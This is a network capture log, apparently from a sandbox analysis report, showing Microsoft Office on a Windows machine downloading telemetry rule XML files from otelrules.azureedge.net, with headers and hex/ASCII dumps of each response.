2024-10-29 09:47:49 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:48 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: fe6c1954-001e-0082-5f6d-285880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094748Z-r197bdfb6b4skzzvqpzzd3xetg00000005pg000000008180 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:49 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:48 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:48 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 4ecf21c8-401e-002a-0558-26c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094748Z-17c5cb586f672xmrz843mf85fn000000054g000000005gs9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:49 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:48 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:49 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:48 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 6c7ab4fb-501e-0078-78bf-2706cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094748Z-17c5cb586f672xmrz843mf85fn000000058g000000000dcf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:49 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:50 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:50 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:50 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 79ba3cde-d01e-002b-6b10-2925fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094750Z-r197bdfb6b4grkz4xgvkar0zcs00000005ug00000000b7kq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 09:47:50 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:50 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:50 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: 22a2f8fa-b01e-001e-31af-270214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094750Z-17c5cb586f6fqqst87nqkbsx1c00000004q0000000008hyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:50 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:50 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:50 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: dc27e692-e01e-001f-1e67-281633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094750Z-15b8d89586ffsjj9qb0gmb1stn0000000amg000000002pky x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:50 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:50 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:50 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 9577fd14-901e-0016-4fa3-26efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094750Z-16849878b78qg9mlz11wgn0wcc0000000600000000003u4a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:50 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:50 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:50 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:50 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: fd0e08e6-201e-0085-5f27-2634e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094750Z-r197bdfb6b4hsj5bywyqk9r2xw00000007vg0000000022g1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:52 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:52 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:52 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094752Z-16849878b78j5kdg3dndgqw0vg00000007zg00000000cuuc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:52 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:52 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:52 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:52 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 97ce691d-801e-0047-0a01-277265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094752Z-16849878b78qfbkc5yywmsbg0c000000062g00000000565q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:52 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:52 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:52 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:52 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094752Z-16849878b78fhxrnedubv5byks00000004p00000000097de x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:52 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:52 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 09:47:52 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:52 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: c32be80d-501e-0016-5c05-27181b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T094752Z-17c5cb586f62blg5ss55p9d6fn00000006yg000000008uqm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 09:47:52 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:52 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
